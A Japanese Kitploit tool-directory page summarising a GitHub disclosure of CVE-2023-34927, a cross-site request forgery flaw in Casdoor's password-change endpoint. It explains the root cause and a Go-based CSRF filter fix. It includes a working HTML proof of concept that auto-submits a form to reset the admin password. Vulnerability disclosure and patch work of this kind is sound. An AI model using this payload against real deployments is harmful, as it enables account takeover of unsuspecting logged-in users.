Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
csrf_casdoor — Casdoor の `/api/set-password` エンドポイント (CVE-2023-34927) に対する概念実証 CSRF エクスプロイト。クロスサイト POST リクエストによる不正なパスワード変更を可能にします。Go ベースの CSRF フィルタ修正が含まれています。 | Kitploit
ツール/GitHubGitHub/vanlam2001/csrf_casdoor
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト認証
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

Casdoor の `/api/set-password` エンドポイント (CVE-2023-34927) に対する概念実証 CSRF エクスプロイト。クロスサイト POST リクエストによる不正なパスワード変更を可能にします。Go ベースの CSRF フィルタ修正が含まれています。

リポジトリを見る
128日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Casdoor – クロスサイトリクエストフォージェリ (CSRF)

概要

  • 脆弱性: /api/set-password における CSRF により、同意なしにパスワードを変更可能。
  • 影響を受けるバージョン: ソフトウェアのすべてのバージョンが影響を受けます。修正済みリリースは現在利用できません。
  • CVE: CVE-2023-34927 (最新のものはまだ割り当てられていません)。
  • エクスプロイト作成者: Van Lam Nguyen。
  • テスト環境: Windows

影響

  • 被害者が Casdoor にログインしている場合、クロスサイト POST によって被害者のパスワード (例: built-in/admin) を変更でき、アカウント乗っ取りにつながります。

攻撃の前提条件

  • 被害者が認証済みで、有効な casdoor_session_id Cookie を持っている。
  • 被害者が、/api/set-password への POST を自動送信する悪意のあるページを訪問する。

概念実証

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

根本原因

  • /api/* 配下の状態変更エンドポイントが、同一オリジンチェック (Origin/Referer) や CSRF トークンを強制することなく、Cookie 認証されたリクエストを受け入れています。

修正の概要

  • サーバー側の CSRF フィルターを追加し、/api/* 配下のクロスサイトかつ Cookie ベースの POST/PUT/DELETE/PATCH リクエストを拒否します。
  • 明示的な非 Cookie 認証 (Authorization、Basic 認証、クライアントクレデンシャル、または accessToken など) を伴うリクエスト、またはブラウザのセッション Cookie を持たないリクエスト (典型的なサーバー間呼び出し) は許可します。

実装

  • csrf_filter.go に実装されている routers.CSRFFilter を使用します。このフィルターは:
    • 状態変更を伴わないメソッドについては早期リターンします。
    • 明示的な非 Cookie 認証を伴うリクエストを許可します。
    • セッション Cookie が存在し、オリジンがホストと一致しない場合にクロスサイトリクエストをブロックします。

Casdoor への統合方法

  1. csrf_filter.go を Casdoor プロジェクトの既存の routers パッケージにコピーします。このファイル内のいかなる内容も変更または削除しないでください。
  2. HTTP パイプラインの早い段階でフィルターを登録します (main 内):
    // Beego v1 style
    web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    
    // If your project uses Beego v2 and imports as `web`:
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

検証

  • フィルターを登録した後、ログインした状態で上記の PoC を再実行します。リクエストは Unauthorized operation で拒否され、サーバーは CSRF check failed をログに記録するはずです。
  • Authorization ヘッダーまたは accessToken パラメータを含むクロスオリジン API 呼び出しは引き続き機能するはずです。

リポジトリのファイル

  • csrf_filter.go: Casdoor の routers パッケージにコピーする CSRF フィルター。
  • poc.html: CSRF 攻撃を再現する最小限のページ。
  • README.md: 脆弱性と修正手順を説明するこのドキュメント。

参考資料

  • Casdoor: https://casdoor.org/
  • バージョン: https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

動画

  • Youtube: https://youtu.be/N5VENgiObjY
ツールをダウンロード